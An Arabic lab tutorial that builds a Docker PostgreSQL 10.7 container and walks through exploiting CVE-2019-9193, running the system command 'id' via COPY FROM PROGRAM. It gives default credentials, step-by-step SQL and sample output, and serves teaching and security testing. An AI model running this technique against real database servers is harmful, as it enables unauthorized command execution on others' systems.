
مختبر قائم على Docker يوضح CVE-2019-9193 تنفيذ أوامر عشوائية في PostgreSQL عبر COPY FROM PROGRAM، مع PoC خطوة بخطوة للاختبار الأمني والتعليم.
PostgreSQL هو نظام إدارة قواعد بيانات علائقية مفتوح المصدر وقوي. ثغرة أمنية موجودة في الإصدارات من 9.3 إلى 11 تسمح للمسؤولين أو المستخدمين الذين لديهم امتيازات COPY TO/FROM PROGRAM بتنفيذ أوامر عشوائية على النظام.
docker-compose.ymlأنشئ ملف docker-compose.yml بالمحتوى التالي:
version: '2'
services:
postgres:
image: vulhub/postgres:10.7
ports:
- "5432:5432"
environment:
- POSTGRES_PASSWORD=postgres
قم بتشغيل الحاوية بالأمر التالي:
docker compose up -d
تحقق من أن الحاوية تعمل:
docker ps
يجب أن يظهر الإخراج حاوية PostgreSQL تستمع على المنفذ 5432.
إذا لم يكن لديك عميل psql مثبتًا، يمكنك تثبيته باستخدام:
apt-get install postgresql-client
اتصل بقاعدة البيانات مباشرة من كالي:
psql -h localhost -p 5432 -U postgres
سيُطلب منك كلمة المرور، أدخل:
postgres
بمجرد الاتصال بوحدة تحكم PostgreSQL، نفذ الأوامر التالية لاستغلال الثغرة:
-- Elimina la tabella se esiste
DROP TABLE IF EXISTS cmd_exec;
-- Crea una nuova tabella per memorizzare l'output del comando
CREATE TABLE cmd_exec(cmd_output text);
-- Esegui il comando 'id' tramite la funzione COPY FROM PROGRAM
COPY cmd_exec FROM PROGRAM 'id';
-- Visualizza l'output del comando
SELECT * FROM cmd_exec;
يمكنك تنفيذ كل شيء مباشرة من سطر الأوامر:
psql -h localhost -p 5432 -U postgres -c "DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;"
إذا نجح الاستغلال، يجب أن ترى إخراجًا مشابهًا:
cmd_output
-------------------------
uid=999(postgres) gid=999(postgres) groups=999(postgres)
(1 row)
اضغط \q للخروج:
\q
تسمح هذه الثغرة بتنفيذ أوامر عشوائية بامتيازات إدارية. استخدمها فقط في بيئات خاضعة للرقابة ولأغراض الدراسة أو التحقق. استغلال هذه الثغرة على أنظمة غير مصرح بها غير قانوني.